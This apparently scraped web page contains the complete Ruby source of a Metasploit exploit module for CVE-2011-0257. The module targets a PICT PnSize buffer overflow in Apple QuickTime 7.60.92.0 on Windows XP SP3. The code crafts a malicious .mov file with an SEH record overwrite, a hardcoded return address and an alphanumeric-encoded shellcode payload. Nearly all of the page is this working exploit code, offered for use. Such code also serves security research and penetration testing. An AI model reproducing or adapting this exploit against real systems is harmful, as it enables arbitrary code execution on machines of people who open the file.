扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 |
## # $Id: apple_quicktime_pnsize.rb 13691 2011-09-03 21:17:58Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Apple QuickTime PICT PnSize Buffer Overflow', 'Description'=> %q{ This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0. When opening a .mov file containing a specially crafted PnSize value, an attacker may be able to execute arbitrary code. }, 'License'=> MSF_LICENSE, 'Author' => [ 'MC' ], 'Version'=> '$Revision: 13691 $', 'References' => [ [ 'CVE', '2011-0257' ], [ 'BID', '49144' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload'=> { 'Space'=> 750, 'BadChars' => "", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'DisableNops'=>'True', 'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff", 'EncoderOptions' => { 'BufferRegister' => 'ECX', }, }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP SP3', { 'Ret' => 0x672b6d4a } ], # QuickTime.qts 7.60.92.0 ], 'Privileged' => false, 'DisclosureDate' => 'Aug 8 2011', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.','msf.mov' ]), ], self.class) end def exploit trigger = rand_text_alpha_upper(3324) trigger[2302, 8]= generate_seh_record(target.ret) trigger[2310, payload.encoded.size] = payload.encoded path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" ) fd = File.open(path, "rb" ) sploit = fd.read(fd.stat.size) fd.close sploit << trigger file_create(sploit) end end __END__ http://mirrors.apple2.org.za/apple.cabi.net/Graphics/PICT.and_QT.INFO/PICT.file.format.TI.txt Opcode Name DescriptionData Size (in bytes) $0007PnSize pen size (point) 4 |
体验盒子
